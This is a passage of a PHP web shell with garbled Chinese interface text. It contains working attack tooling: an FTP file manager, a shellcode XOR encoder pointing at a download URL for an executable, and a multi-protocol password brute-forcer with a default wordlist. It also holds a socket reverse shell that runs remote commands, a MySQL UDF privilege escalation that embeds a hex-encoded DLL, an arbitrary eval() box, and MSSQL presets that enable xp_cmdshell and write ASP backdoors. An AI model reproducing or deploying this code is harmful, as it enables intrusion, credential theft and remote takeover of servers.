$ftplist = isset($_POST['list']) ? $_POST['list'] : '';
$ftpfolder = isset($_POST['ftpfolder']) ? $_POST['ftpfolder'] : '/';
$ftpfolder = strtr($ftpfolder,"\\","/");
$files = isset($_POST['readfile']) ? $_POST['readfile'] : '';
print<<<END
<div class="actall"><h5>php<68><70><EFBFBD><EFBFBD>ftp<74><70><EFBFBD>Ӳ<EFBFBD><D3B2><EFBFBD>(δ<><CEB4><EFBFBD><EFBFBD>)</h5></div>
<form method="POST" name="" action="?s=aa">
<div class="actall"><3E><><EFBFBD><EFBFBD>:<input type="text" name="ftphost" value="{$ftphost}" style="width:100px">
<EFBFBD><EFBFBD>¼<EFBFBD><EFBFBD>:<input type="text" name="ftpuser" value="{$ftpuser}" style="width:100px">
<EFBFBD><EFBFBD><EFBFBD><EFBFBD>:<input type="text" name="ftppass" value="{$ftppass}" style="width:100px"><br><br>
<input type="hidden" name="readfile" value="" style="width:200px">
·<EFBFBD><EFBFBD>:<input type="text" name="ftpfolder" value="{$ftpfolder}" style="width:200px">
<input type="hidden" name="list" value="<22>б<EFBFBD>">
<input class="bt" type="submit" name="<22>б<EFBFBD>" value="list" style="width:40px"><br><br></form></div>
END;
if($ftplist == 'list'){
$conn = @ftp_connect($ftphost) or die("<22>޷<EFBFBD><DEB7><EFBFBD><EFBFBD><EFBFBD>");
    if(@ftp_login($conn,$ftpuser,$ftppass)){
    $filelists = @ftp_nlist( $conn, $ftpfolder );
    echo "<pre>";
    echo "<22><>ǰ<EFBFBD>ļ<EFBFBD><C4BC><EFBFBD>:<font color='#FF0000'>$ftpfolder</font>:<br>";
    if(is_array($filelists))
    {
    foreach ($filelists as $file)
    {
       $file = strtr($file,"\\","/");
       $size_file =@ftp_size($conn, $file);
       if ( $size_file == -1)
           {
           $a=$a.basename($file)."<br>";
           }
       else
           {
           $b=$b.basename($file)."				".$size_file."B</br>";
           }
    }
    }
    echo $a;
    echo $b;
    echo "</pre>";
    }
    }
print<<<END
<form method="POST" name="" action="?s=aa" >
<div class="actall"><3E>ļ<EFBFBD><C4BC><EFBFBD>:<input type="text" name="readfile" value="{$files}" style="width:200px">
<input type="hidden" name="read" value="<22><>ȡ">
<input class="bt" type="submit" name="read" value="<22><>ȡ" style="width:40px"><br><br></form></div>
END;
$readaction = isset($_POST['read']) ? $_POST['read'] : '';
if ($readaction == 'read') {
    $handle = @file_get_contents("ftp://$ftpuser:$ftppass@$ftphost/$files", "r");
    $handle = htmlspecialchars($handle);
    $handle = str_replace("\n", "<br>", $handle);
    echo "<font color='#FF0000'>$files</font><3E><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>:<br><br>";
    echo $handle;
    }
print<<<END
<form method="post" enctype="multipart/form-data" name="" action="?s=aa">
<div class="actall"><3E>ļ<EFBFBD><C4BC><EFBFBD>:<input type="text" name="cdir" value="{$cdir}" style="width:100px">
<input type="file" name="upload" value="<22>ϴ<EFBFBD>" style="width:200px;height:22px;">
<input type="hidden" name="upfile" value="<22>ϴ<EFBFBD>">
<input class="bt" type="submit" name="submit" value="<22>ϴ<EFBFBD>" style="width:40px"></form></div>
END;
$upaction = isset($_POST['upfile']) ? $_POST['upfile'] : '' ;    
if ($upaction == 'upfile') {
    $cdir = isset($_POST['cdir']) ? $_POST['cdir'] : '/';
    $conn = @ftp_connect($ftphost) or die("<22>޷<EFBFBD><DEB7><EFBFBD><EFBFBD><EFBFBD>");
    if(@ftp_login($conn,$ftpuser,$ftppass)){
        @ftp_chdir($conn, $cdir);
        $res_code = @ftp_put($conn,$_FILES['upload']['name'],$_FILES['upload']['tmp_name'], FTP_BINARY,0);
        if (empty($res_code)){
          echo '<font color="#FF67A0"><3E>ϴ<EFBFBD>ʧ<EFBFBD><CAA7></font><br>';
        }
        else{
         echo '<font color="#FF67A0"><3E>ϴ<EFBFBD><CFB4>ɹ<EFBFBD></font><br>';
        } 
    }
}
print<<<END
<form method="POST" enctype="multipart/form-data" name="" action="?s=aa">
<div class="actall">·<><C2B7>:<input type="text" name="downfile" value="{$getfile}" style="width:100px">
<input type="hidden" name="getfile" value="<22><><EFBFBD><EFBFBD>">
<input class="bt" type="submit" name="down" value="<22><><EFBFBD><EFBFBD>" style="width:40px"></form></div>
END;
$getfile = isset($_POST['downfile']) ? $_POST['downfile'] : '';
$getaction = isset($_POST['getfile']) ? $_POST['getfile'] : '';   
if ($getaction == 'down' && $getfile !=''){
function php_ftp_download($filename){   
global $ftphost,$ftpuser,$ftppass;              
  $ftp_path = dirname($filename)   .   "/";         
  $select_file = basename($filename);        
  $ftp = @ftp_connect($ftphost);        
  if($ftp){ 
        if(@ftp_login($ftp, $ftpuser, $ftppass)){        
        if(@ftp_chdir($ftp,$ftp_path))   {                              
        $tmpfile = tempnam(getcwd(),"temp");
        if(ftp_get($ftp,$tmpfile,$select_file,FTP_BINARY)){       
          ftp_quit($ftp);      
          header("Content-Type:application/octet-stream");   
          header("Content-Disposition:attachment;  filename=" . $select_file);   
          unlink($tmpfile); 
          exit;   
          }   
         }   
        }   
      }   
      ftp_quit($ftp);   
  }
php_ftp_download($getfile); 
}
}

//shellcodeת<65><D7AA>
function shellcode_decode($Url_String,$Oday_value)
{
	$Oday_value = hexdec($Oday_value);
	$$Url_String = str_replace(" ", "", $Url_String);
	$SHELL = explode("%u", $Url_String);
	for($i=0;$i < count($SHELL);$i++)
	{
		$Temp = $SHELL[$i];
		$s_1 = substr($Temp,2);
		$s_2 = substr($Temp,0,2);
		$COPY .= $s_1.$s_2;
	}
for($n=0; $n < strlen($COPY); $n+=2){$Decode .= pack("C", hexdec(substr($COPY, $n, 2) )^ $Oday_value);}
return $Decode;
}
function shellcode_encode($Url_String,$Oday_value)
{
	$Length =strlen($Url_String);
	$Todec = hexdec($Oday_value);
	for ($i=0; $i < $Length; $i++)
	{
		$Temp = ord($Url_String[$i]);
		$Hex_Temp = dechex($Temp ^ $Todec);
		if (hexdec($Hex_Temp) < 16) $Hex_Temp = '0'.$Hex_Temp;
		$hex .= $Hex_Temp;
	}
if ($Length%2) $hex .= $Oday_value.$Oday_value; else $hex .= $Oday_value.$Oday_value.$Oday_value.$Oday_value;
for ($n=0; $n < strlen($hex); $n+=4)
{
	$Temp = substr($hex, $n, 4);
	$s_1= substr($Temp,2);
	$s_2= substr($Temp,0,2);
	$Encode.= '%u'.$s_1.$s_2;
}
return $Encode;
}
function shellcode_findxor($Url_String)
{
	for ($i = 0; $i < 256; $i++)
	{
		$shellcode[0] = shellcode_decode($Url_String, dechex($i));
		if ((strpos ($shellcode[0],'tp:')) || (strpos ($shellcode[0],'url')) || (strpos ($shellcode[0],'exe')))
		{
			$shellcode[1] = dechex($i);
			return $shellcode;
		}
	}
}
function Shellcode_j()
{
	$Oday_value='0';
	$Shell_Code='http://blackbap.org/hello.exe';
	$checkeda='checked';
	$checkedb='';
if(!empty($_POST['code']))
{
	if($_POST['xor'] == 'a' && isset($_POST['number'])){$Oday_value = $_POST['number'];$Shell_Code = shellcode_encode($_POST['code'],$Oday_value);}
	if($_POST['xor'] == 'b'){$checkeda = '';$checkedb = ' checked';$Shell_Code_Array = shellcode_findxor($_POST['code']);$Shell_Code = $Shell_Code_Array[0];$Oday_value = $Shell_Code_Array[1];}
	if(!$Oday_value) $Oday_value = '0';
	if(!$Shell_Code) $Shell_Code = '<27>Ҳ<EFBFBD><D2B2><EFBFBD>shellcode<64><65><EFBFBD><EFBFBD><EFBFBD><EFBFBD>url';
	$Shell_Code = htmlspecialchars($Shell_Code);
}
print<<<END
<form method="POST" name="bbform" id="bbform" action="?s=bb">
<div class="actall">XOR(<28>ڵ<EFBFBD>):<input name="number" value="{$Oday_value}" type="text" style="width:50px"> 
<input type="radio" name="xor" value="a"{$checkeda}>XORת<52><D7AA> <input type="radio" name="xor" value="b"{$checkedb}>XOR<4F><52>ת<EFBFBD><D7AA></div>
<div class="actall"><textarea name="code" rows="20" cols="110">{$Shell_Code}</textarea></div>
<div class="actall"><input class="bt" type="submit" value="ִ<><D6B4>"></div>
</form>
END;
return true;
}

//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ɨ<EFBFBD><C9A8>
function Crack_k()
{
	$MSG_BOX = '<27>ȴ<EFBFBD><C8B4><EFBFBD>Ϣ<EFBFBD><CFA2><EFBFBD><EFBFBD>......';
	$ROOT_DIR = File_Mode();
	$SORTS = explode('/',$ROOT_DIR);
	array_shift($SORTS);
	$PASS = join(',',$SORTS);
//<2F><>ϵͳ<CFB5>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>룬<EFBFBD><EBA3AC>for<6F><72><EFBFBD><EFBFBD>һ<EFBFBD>鴿<EFBFBD><E9B4BF><EFBFBD><EFBFBD><EFBFBD>ظ<EFBFBD><D8B8><EFBFBD><EFBFBD><EFBFBD> by:yoco
for($i = 0;$i < 10;$i++){$n = (string)$i; $PASS .= $n.$n.$n.$n.$n.$n.','; $PASS .= $n.$n.$n.$n.$n.$n.$n.','; $PASS .= $n.$n.$n.$n.$n.$n.$n.$n.',';}
if((!empty($_POST['address'])) && (!empty($_POST['user'])) && (!empty($_POST['pass'])))
{
	$SORTPASS = explode(',',$_POST['pass']);
	$connect = false;
	$MSG_BOX = 'not found';
	for($k = 0;$k < count($SORTPASS);$k++)
	{
		if($_POST['class'] == 'mysql') $connect = @mysql_connect($_POST['address'],$_POST['user'],chop($SORTPASS[$k]));
		if($_POST['class'] == 'mssql') $connect = @mssql_connect($_POST['address'],$_POST['user'],chop($SORTPASS[$k]));
		if($_POST['class'] == 'pgsql') $connect = @pg_connect("host={$_POST['address']} port=5432 dbname=postgres user={$_POST['user']} password={chop($SORTPASS[$k])}");
		if($_POST['class'] == 'oracle') $connect = @oci_connect($_POST['user'],chop($SORTPASS[$k]),$_POST['address']);
		if($_POST['class'] == 'ftp'){$Ftp_conn = @ftp_connect($_POST['address'],'21');$connect = @ftp_login($Ftp_conn,$_POST['user'],chop($SORTPASS[$k]));}
		if($_POST['class'] == 'ssh'){$ssh_conn = @ssh2_connect($_POST['address'],'22');$connect = @ssh2_auth_password($ssh_conn,$_POST['user'],chop($SORTPASS[$k]));}
		if($connect) $MSG_BOX = '[project: '.$_POST['class'].'] [ip: '.$_POST['address'].'] [user: '.$_POST['user'].'] [pass: '.$SORTPASS[$k].']';
	}
}
print<<<END
<form method="POST" name="ccform" id="ccform" action="?s=cc">
<div id="msgbox" class="msgbox">{$MSG_BOX}</div>
<div class="actall"><3E><><EFBFBD><EFBFBD><input type="text" name="address" value="localhost" style="width:300px"></div>
<div class="actall"><3E>˻<EFBFBD><input type="text" name="user" value="root" style="width:300px"></div>
<div class="actall"><3E><><EFBFBD><EFBFBD><br><textarea name="pass" rows="20" cols="110">root,123456,123123,123321,admin,admin888,admin@admin,root@root,qwer123,5201314,iloveyou,fuckyou,kissme,520520,5845201314,a123456,a123456789,{$PASS}administrator</textarea></div>
<div class="actall"><3E><>ʽ<input type="radio" name="class" value="mysql" checked>Mysql <input type="radio" name="class" value="mssql" checked>mssql <input type="radio" name="class" value="pgsql" checked>Pgsql <input type="radio" name="class" value="oracle" checked>Oracle <input type="radio" name="class" value="ftp">FTP <input type="radio" name="class" value="ssh" checked>SSH</div>
<div class="actall"><input class="bt" type="submit" value="<22><>ʼ"></div></form>
END;
return true;
}


//php socket<65><74><EFBFBD><EFBFBD>Windows<77><73><EFBFBD><EFBFBD>
function phpsocket()
{
	@set_time_limit(0);
	$system=strtoupper(substr(PHP_OS, 0, 3));
if(!extension_loaded('sockets'))
{
	if ($system == 'WIN') {
		@dl('php_sockets.dll') or die("Can't load socket");
	}else{
		@dl('sockets.so') or die("Can't load socket");
	}
}
if(isset($_POST['host']) && isset($_POST['port']))
{
	$host = $_POST['host'];
	$port = $_POST['port'];
}else{	
print<<<eof
<div class="actall"><h5>php socketִ<74><D6B4>cmdshell<6C><6C><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ӣ<EFBFBD><D3A3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ΪWinϵͳ<br>php_sockets<74><73><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϊopen<br><3E><><EFBFBD><EFBFBD>ͨ<EFBFBD><CDA8>phpinfo()<29><><EFBFBD><EFBFBD><EFBFBD>鿴<EFBFBD>Ƿ<EFBFBD><C7B7><EFBFBD><EFBFBD><EFBFBD><br><3E><>ҪäĿ<C3A4><C4BF><EFBFBD>ӣ<EFBFBD><D3A3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ɷ<EFBFBD><C9B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Դ<EFBFBD>ľ<EFBFBD><C4BE><EFBFBD><EFBFBD><EFBFBD><EFBFBD>غ<EFBFBD><D8BA><EFBFBD></h5></div>
<form method=post action="?s=dd">
<div class="actall">Host:<input type=text name=host value=""><br><3E>˿<EFBFBD>:<input type=text name=port value="1120"><br><br>
<input type="radio" name=info value="linux" checked>Linux <input type="radio" name=info value="win">Windows <input class="bt" type=submit name=submit value="<22><><EFBFBD><EFBFBD>">
</form>
eof;
}
if($system=="WIN")
{
	$env=array('path' => 'c:\\windows\\system32');
}else{
	$env = array('PATH' => '/bin:/usr/bin:/usr/local/bin:/usr/local/sbin:/usr/sbin');
}
$descriptorspec = array(
	0 => array("pipe","r"),
	1 => array("pipe","w"),
	2 => array("pipe","w"),
);
$host=gethostbyname($host);
$proto=getprotobyname("tcp");
if(($sock=socket_create(AF_INET,SOCK_STREAM,$proto))<0)
{
die("Socket<65><74><EFBFBD><EFBFBD>ʧ<EFBFBD><CAA7>");
}
if(($ret=socket_connect($sock,$host,$port))<0)
{
die("<22><><EFBFBD><EFBFBD>ʧ<EFBFBD><CAA7>");
}else{
$message="----------------------PHP<48><50><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>--------------------\n";
socket_write($sock,$message,strlen($message));
$cwd=str_replace('\\','/',dirname(__FILE__));
while($cmd=socket_read($sock,65535,$proto))
{
if(trim(strtolower($cmd))=="exit")
{
socket_write($sock,"Bye\n");
exit;
}else{
$process = proc_open($cmd, $descriptorspec, $pipes, $cwd, $env);
if (is_resource($process)) {
	fwrite($pipes[0], $cmd);
	fclose($pipes[0]);
	$msg=stream_get_contents($pipes[1]);
	socket_write($sock,$msg,strlen($msg));
	fclose($pipes[1]);
	$msg=stream_get_contents($pipes[2]);
	socket_write($sock,$msg,strlen($msg));
	$return_value = proc_close($process);
}
}
}
}
}
//mysql<71><6C>Ȩ
function get_code(){
return "0x4D5A90000300000004000000FFFF0000B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000E00000000E1FBA0E00B409CD21B8014CCD21546869732070726F6772616D2063616E6E6F742062652072756E20696E20444F53206D6F64652E0D0D0A24000000000000009BBB9A02DFDAF451DFDAF451DFDAF451A4C6F851DDDAF4515CC6FA51CBDAF45137C5FE518BDAF451DFDAF451DCDAF451BDC5E751DADAF451DFDAF55184DAF45137C5FF51DCDAF45137C5F051DEDAF45152696368DFDAF4510000000000000000504500004C010300B2976A460000000000000000E0000E210B01060000500000001000000090000010E6000000A0000000F000000000001000100000000200000400000000000000040000000000000000000100001000000000000002000000000010000010000000001000001000000000000010000000D8F000007400000000F00000D80000000000000000000000000000000000000000000000000000004CF100000C0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000555058300000000000900000001000000000000000040000000000000000000000000000800000E055505831000000000050000000A000000048000000040000000000000000000000000000400000E055505832000000000010000000F0000000020000004C0000000000000000000000000000400000C00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000322E303200555058210D09020A459475C59FCC587632C900000F46000000B00000260A00BC6FEDDDFF558BEC6AFF6800007148040ED064A10507506489FFD8FF9F2583EC0C5356578965E8C745FC0F7D0C0175236A00FFEDB77B012E05B008FF150970008945E4EB09B81E7363BB0124C38B2FFF000F8B4DF05FF6FFD94E0D5F5E5B8BE55DC20C0090008B442499ACFDF604C740081C100432C0C30F8F58FDAC7D0081EC8C090592C685E8FBFF77DFBD6100B9FF1733C08DBDE90DF3AB66ABAA33DB895DFC8B33DBBBFF450C8338010F85770380480439190A6C53EFFEFFBF80988B50088B0250E80A005DDC83C40885C00F84511A889DC8F6F720276B414EC9F6C785BC0A9FD9DC5D0C16899DC0090FC4D853A1FBF6DF8D8D1A518D95CCFA06528D85B80D500EB399661B2C256C44246CCDF7EFB116288B852A8985ACF605A866EEEE8C6C559C985668050134776723CD95C852240CBFBA8883C9DFDCFFB7FF9CF2AEF7D12BF98BF78BFA8BD1100E4F8BCAC1B3CDFDF6E902F3A50683E103F3A4FBF2083566B604D88B393284B4C1B5DB60E6D8FBB153006A0103FF6B63838A538B20B4283BC3752D6A0A6D84436EF0E8FB1C4F473ADBAF3D7C12516670380B52E917059E0B67B30CF72A18B9D0FA40FB0E72106AD1FA6803FA8D1D93CBD8D84268FF14D0FAC47E0990583A548D64D9BA6F3EE5117E8BF089B564B9535EC803C2993B046AA18BB810CD2ED81B0E567420C63C10FFB9E53B72C6000163E8EBBA1882FBB7B9850436D41105B0596A206A03049D306B6E037D7EB2BF0CF6B171F37B6883FEFF6A85385618DCEFEF2D94F889BD408D4764A80FF652F1DC2F942DB9590C89036A9D5679F8CFBE564F01515030108B13C6043A0009446C03E40BD18B3BD9687E2C089318580C04EB366A64B66C8DC972D031745813594ECE0E53C16551C83BE920FDC91E498B5514890AE98B03E63F61EE23C368C80B6389500C3BD37C2939D8751A3233C07F3001BB709155357A0C83910DBB954511420C8651C8D391AC91AE8D513763F24C9552CDB0069B6CC2A4E96551C51C8B6C76695D530C1FA86CB243C27B0C298B5BA5C3A71B4F08A40F8B400C8674DD5B768C07BC91591B00130BC8AEF1B72C1D750683C8FFC2C30E05DCC030D74E060C74092FF202EDB4329054554468020217F6FEBFFE7134F7D81BC04081C41A5E903D814C060F6808B8640426B073A466121C866DCBB6417B885DA87401A902ADB17EE3D2B76603B58845B71684FEF1888590FFFE7D72BB06563F84BD910AE983CF3F4F9B2E347D942C6A02227175943B5A018CEDF7751616FC1708EC3F79044888FEFE71103BC7751D560A1BC60B6C14326A107A8D74235F61B8E73A52180F66DB8D2C2C88980B531CAE9A338FCA02DD827A1D0E203DB8C9B537DC9004B9827E8B3089CAB4D6D37CB01D80B471D337110CE748BEDDEC6F6A081AA8D177E6489E04A0B6138D55A8E
}
function Mysql_u()
{   
	extract($_POST);
	extract($_GET);
	$mysql_hostname = $mysql_hostname?$mysql_hostname : "localhost";
	$mysql_username = $mysql_username?$mysql_username : "root";
	$post_sql = $post_sql ? $post_sql : "select state(\"net user\")";
	$mysql_dbname = $mysql_dbname ? $mysql_dbname : "mysql";
if($install){
	$link = mysql_connect ($mysql_hostname,$mysql_username,$mysql_passwd) or die(mysql_error());
	mysql_select_db($mysql_dbname,$link) or die(mysql_error());
	@mysql_query("DROP TABLE udf_temp", $link);
	$query="CREATE TABLE udf_temp (udf BLOB);";
if(!($result=mysql_query($query, $link)))
die('<27><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʱ<EFBFBD><CAB1>ʧ<EFBFBD><CAA7>'.mysql_error());
else
{
	$code=get_code();
	$query="INSERT into udf_temp values (CONVERT($code,CHAR));";
	if(!mysql_query($query, $link))
	{
		mysql_query('DROP TABLE udf_temp', $link) or die(mysql_error());
		die('<27><>װdllʧ<6C><CAA7>'.mysql_error());
	}
	else
	{
		$dllname = "mysqlDll.dll";
	if(file_exists("c:\\windows\\system32\\")) $dir="c:\\\\windows\\\\system32\\\\mysqlDll.dll";
	elseif(file_exists("c:\\winnt\\system32\\")) $dir="c:\\\\winnt\\\\system32\\\\mysqlDll.dll"; 
	if(file_exists($dir)) {
		$time = time();
		$dir = str_replace("mysqlDll","mysqlDll_$time",$dir);
		$dllname = str_replace("mysqlDll","mysqlDll_$time",$dllname);
	}
$query = "SELECT udf FROM udf_temp INTO DUMPFILE '".$dir."';" ;
	if(!mysql_query($query, $link))
	{
		die("<22><>װʧ<D7B0><CAA7>:$dir<69><72>Ȩ".mysql_error());
	}
	else
	{
		echo '<font style=font:11pt color=ff0000>'.$dir.'<27><>װ<EFBFBD>ɹ<EFBFBD></font><br>';
	}
}
mysql_query('DROP TABLE udf_temp', $link) or die(mysql_error());
$result = mysql_query("Create Function state returns string soname '$dllname'", $link) or die(mysql_error());
if($result) {
	echo "<22>ɹ<EFBFBD><br><a href='?'><3E><><EFBFBD><EFBFBD></a>";
	exit();
}
}
}
?>
<form method="post" action="?s=ee"><div class="actall">Host:<input name="mysql_hostname" value="<?echo $mysql_hostname;?>" type="text" style="width:100px" >
User:<input name="mysql_username" value="<?echo $mysql_username;?>" type="text"  style="width:70px"> Password:<input type="password" name="mysql_passwd" value="<?echo $mysql_passwd;?>" style="width:70px"> DB:<input name="mysql_dbname" value="<?echo $mysql_dbname;?>" type="text" style="width:70px"> <input class="bt" name="install" type="submit" value="<22><>װ"><br><br>
sqlִ<EFBFBD><EFBFBD>:<br>
<textarea name="post_sql" cols="80" rows="10"><?echo stripslashes($post_sql);?></textarea><br>
<input class="bt" name="" type="submit" value="ִ<><D6B4>"><br></form>
<EFBFBD><EFBFBD><EFBFBD><EFBFBD>:</div>
<?
if ($_POST[post_sql]) {
$link = mysql_connect ($mysql_hostname,$mysql_username,$mysql_passwd) or die(mysql_error());
if($mysql_dbname) mysql_select_db($mysql_dbname,$link) or die(mysql_error());
$query = stripslashes($post_sql);
$result = mysql_query($query, $link)  or die(mysql_error());
?>
<br><textarea name="post_sql" style="width:610px;height:180px;">
<?
echo ($result) ? "Done:$result\n\n" : "error:$result\n\n ".mysql_error();
while ($row =  @mysql_fetch_array ($result)) {
print_r ($row);
}
}
?>
</textarea>
<?
}
//evalִ<6C><D6B4>php<68><70><EFBFBD><EFBFBD>
function phpcode()
{
print<<<END
<div class="actall"><h5><3E><><EFBFBD><EFBFBD>php<68><70><EFBFBD><EFBFBD>:<h5></div>
<form action="?s=ff" method="POST">
<div class="actall"><textarea name="phpcode" rows="20" cols="80">phpinfo();/*print_r(apache_get_modules());*/</textarea></div><br />
<div><input class="bt" type="submit" value="EVALִ<4C><D6B4>"></div><br></form>
END;
$phpcode = $_POST['phpcode'];
$phpcode = trim($phpcode);
if($phpcode){
	if (!preg_match('#<\?#si',$phpcode)){
	$phpcode = "<?php\n\n{$phpcode}\n\n?>";
	}
eval("?".">$phpcode<?");
echo '<br><br>';
}
return false;
}
//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݿ<EFBFBD><DDBF><EFBFBD><EFBFBD><EFBFBD>
function otherdb(){
$db = isset($_GET['db']) ? $_GET['db'] : '';
print<<<END
<form method="POST" name="dbform" id="dbform" action="?s=gg&db={$db}" enctype="multipart/form-data">
<div class="actall"><a href="?s=gg"> &nbsp psotgresql &nbsp</a> 
<a href="?s=gg&db=ms"> &nbsp mssql &nbsp</a> 
<a href="?s=gg&db=ora"> &nbsp oracle &nbsp</a>
<a href="?s=gg&db=ifx"> &nbsp informix &nbsp</a>
<a href="?s=gg&db=fb"> &nbsp  firebird &nbsp</a>
<a href="?s=gg&db=db2">&nbsp db2 &nbsp</a></div></form>
END;
if ($db=="ms"){
$mshost = isset($_POST['mshost']) ? $_POST['mshost']:'localhost';
$msuser = isset($_POST['msuser']) ? $_POST['msuser'] : 'sa';
$mspass = isset($_POST['mspass']) ? $_POST['mspass'] : '';
$msdbname = isset($_POST['msdbname']) ? $_POST['msdbname'] : 'master';
$msaction = isset($_POST['action']) ? $_POST['action'] : '';
$msquery = isset($_POST['mssql']) ? $_POST['mssql'] : '';
$msquery = stripslashes($msquery);
print<<<END
<form method="POST" name="msform" action="?s=gg&db=ms"><br>
<div class="actall">Host:<input type="text" name="mshost" value="{$mshost}" style="width:100px">
User:<input type="text" name="msuser" value="{$msuser}" style="width:100px">
Pass:<input type="text" name="mspass" value="{$mspass}" style="width:100px">
Dbname:<input type="text" name="msdbname" value="{$msdbname}" style="width:100px"><br>
<script language="javascript">
function msFull(i){
	Str = new Array(11);
	Str[0] = "";
	Str[1] = "select @@version;";
	Str[2] = "select name from sysdatabases;";
	Str[3] = "select name from sysobject where type='U';";
	Str[4] = "select name from syscolumns where id=Object_Id('table_name');";
	Str[5] = "Use master dbcc addextendedproc ('sp_OACreate','odsole70.dll');";
	Str[6] = "Use master dbcc addextendedproc ('xp_cmdshell','xplog70.dll');";
	Str[7] = "EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;";
	Str[8] = "exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ole Automation Procedures',1;RECONFIGURE;";
	Str[9] = "exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ad Hoc Distributed Queries',1;RECONFIGURE;";
	Str[10] = "Exec master.dbo.xp_cmdshell 'net user';";
	Str[11] = "Declare @s  int;exec sp_oacreate 'wscript.shell',@s out;Exec SP_OAMethod @s,'run',NULL,'cmd.exe /c echo ^<%execute(request(char(35)))%^> > c:\\\\1.asp';";
	Str[12] = "sp_makewebtask @outputfile='d:\\\\web\\\\bin.asp',@charset=gb2312,@query='select ''<%execute(request(chr(35)))%>''' ";
	msform.mssql.value = Str[i];
	return true;
}
</script>
<textarea name="mssql" style="width:600px;height:200px;">{$msquery}</textarea><br>
<select onchange="return msFull(options[selectedIndex].value)">
	<option value="0" selected>ִ<><D6B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD></option>
	<option value="1"><3E><>ʾ<EFBFBD>汾</option>
	<option value="2"><3E><><EFBFBD>ݿ<EFBFBD></option>
	<option value="3"><3E><><EFBFBD><EFBFBD></option>
	<option value="4"><3E>ֶ<EFBFBD></option>
	<option value="5">sp_oacreate</option>
	<option value="6">xp_cmdshell</option>
	<option value="7">xp_cmdshell(2005)</option>
	<option value="8">sp_oacreate(2005)</option>
	<option value="9"><3E><><EFBFBD><EFBFBD>openrowset(2005)</option>
	<option value="10">xp_cmdshell exec</option>
	<option value="10">sp_oamethod exec</option>
	<option value="11">sp_makewebtask</option>
</select>
<input type="hidden" name="action" value="msquery">
<input class="bt" type="submit" value="Query"></div></form>
END;
if ($msaction == 'msquery'){
$msconn= mssql_connect ($mshost , $msuser, $mspass);  
mssql_select_db($msdbname,$msconn) or die("connect error :" .mssql_get_last_message());
$msresult = mssql_query($msquery) or die(mssql_get_last_message());
echo '<font face="verdana">';
echo '<table border="1" cellpadding="1" cellspacing="2">';
echo "\n<tr>\n";
for ($i=0; $i<mssql_num_fields($msresult); $i++)
{
echo '<td bgcolor="#228B22"><b>'.
mssql_field_name($msresult, $i);
echo "</b></td>\n";
}
echo "</tr>\n";
mssql_data_seek($result, 0);
while ($msrow=mssql_fetch_row($msresult))
{
echo "<tr>\n";
for ($i=0; $i<mssql_num_fields($msresult); $i++ )
{
echo '<td bgcolor="#B8B8E8">';
echo "$msrow[$i]";
echo '</td>';
}
echo "</tr>\n";
}
echo "</table>\n";
echo "</font>";
mssql_free_result($msresult);
mssql_close();
}
}
elseif ($db=="ora"){
$orahost = isset($_POST['orahost']) ? $_POST['orahost'] : 'localhost';
$oraport = isset($_POST['oraport']) ? $_POST['oraport'] : '1521';
$orauser = isset($_POST['orauser']) ? $_POST['orauser'] : 'root';
$orapass = isset($_POST['orapass']) ? $_POST['orapass'] : '123456';
$orasid = isset($_POST['orasid']) ? $_POST['orasid'] : 'ORCL';
$oraaction = isset($_POST['action']) ? $_POST['action'] : '';
$oraquery = isset($_POST['orasql']) ? $_POST['orasql'] : '';
$oraquery = stripslashes($oraquery);
print<<<END
<form method="POST" name="oraform" action="?s=gg&db=ora">
<div class="actall">Host:<input type="text" name="orahost" value="{$orahost}" style="width:100px">
Port:<input type="text" name="oraport" value="{$oraport}" style="width:50px">
User:<input type="text" name="orauser" value="{$orauser}" style="width:80px">
Pass:<input type="text" name="orapass" value="{$orapass}" style="width:100px">
SID:<input type="text" name="orasid" value="{$orasid}" style="width:50px"><br><br>
<script language="javascript">
function oraFull(i){
Str = new Array(8);
	Str[0] = ""; 
	Str[1] = "select version();";
	Str[2] = "show databases;";
	Str[3] = "show tables from db_name;";
	Str[4] = "show columns from table_name;";
	Str[5] = "select user,password from mysql.user;";
	Str[6] = "select load_file(0xxxxxxxxxxxxxxxxxxxxx);";
	Str[7] = "select 0xxxxx from mysql.user into outfile 'c:\\\\inetpub\\\\wwwroot\\\\test.php'";
	oraform.orasql.value = Str[i];
	return true;
}
</script>
<textarea name="orasql" style="width:600px;height:200px;">{$oraquery}</textarea><br>
<select onchange="return oraFull(options[selectedIndex].value)">
	<option value="0" selected>ִ<><D6B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD></option>
	<option value="1"><3E><>ʾ<EFBFBD>汾</option>
	<option value="2"><3E><><EFBFBD>ݿ<EFBFBD></option>
	<option value="3"><3E><><EFBFBD><EFBFBD></option>
